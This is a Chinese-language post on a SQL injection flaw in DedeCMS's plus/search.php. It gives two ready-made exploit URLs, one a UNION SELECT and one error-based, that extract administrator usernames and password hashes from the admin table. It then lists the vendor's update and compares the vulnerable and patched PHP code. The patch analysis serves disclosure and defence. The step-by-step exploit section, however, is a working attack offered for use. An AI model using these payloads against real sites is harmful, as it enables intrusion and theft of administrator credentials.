dedecms的最近出的一高危漏洞,search.php注入漏洞;估计现在很多黑阔都非常爱dedecms,因为经常有各种漏洞爆出.很多利用起来也都很简单.
下面是漏洞的详细利用细节:
0×1:
http://www.example.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
报错如果为:Safe Alert: Request Error step 2 !
则利用以下exp:http://www.example.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,
pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
0×2:
http://www.example.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
报错如果为:Safe Alert: Request Error step 1 !
则利用以下exp:http://www.example.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a
+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
漏洞修复:
20130115常规安全更新
include/arc.searchview.class.php, 搜索功能准确度优化
member/myfriend_group.php, 修复会员中心会员分组功能存在的安全隐患
plus/search.php, 修复搜索功能存在的安全隐患
登录DEDECMS后台会有提示,更新即可。不过貌似官方没有提供安全更新补丁的下载地址,找了半天没找到~
漏洞分析:
存在漏洞的文件/plus/search.php
//引入栏目缓存并看关键字是否有相关栏目内容
require_once($typenameCacheFile);
if(isset($typeArr) && is_array($typeArr))
{
foreach($typeArr as $id=>$typename)
{
$keywordn = str_replace($typename, ‘ ‘, $keyword);
if($keyword != $keywordn)
{
$keyword = $keywordn;
$typeid = $id; //对ID没做任何过滤 导致注入
break;
}
}
}
}
$keyword = addslashes(cn_substr($keyword,30));
修复之后
//引入栏目缓存并看关键字是否有相关栏目内容
require_once($typenameCacheFile);
if(isset($typeArr) && is_array($typeArr))
{
foreach($typeArr as $id=>$typename)
{
//$keywordn = str_replace($typename, ‘ ‘, $keyword);
$keywordn = $keyword;
if($keyword != $keywordn)
{
$keyword = HtmlReplace($keywordn);//防XSS
$typeid = intval($id); //强制转换为数字型
break;
}
}
}
}
$keyword = addslashes(cn_substr($keyword,30));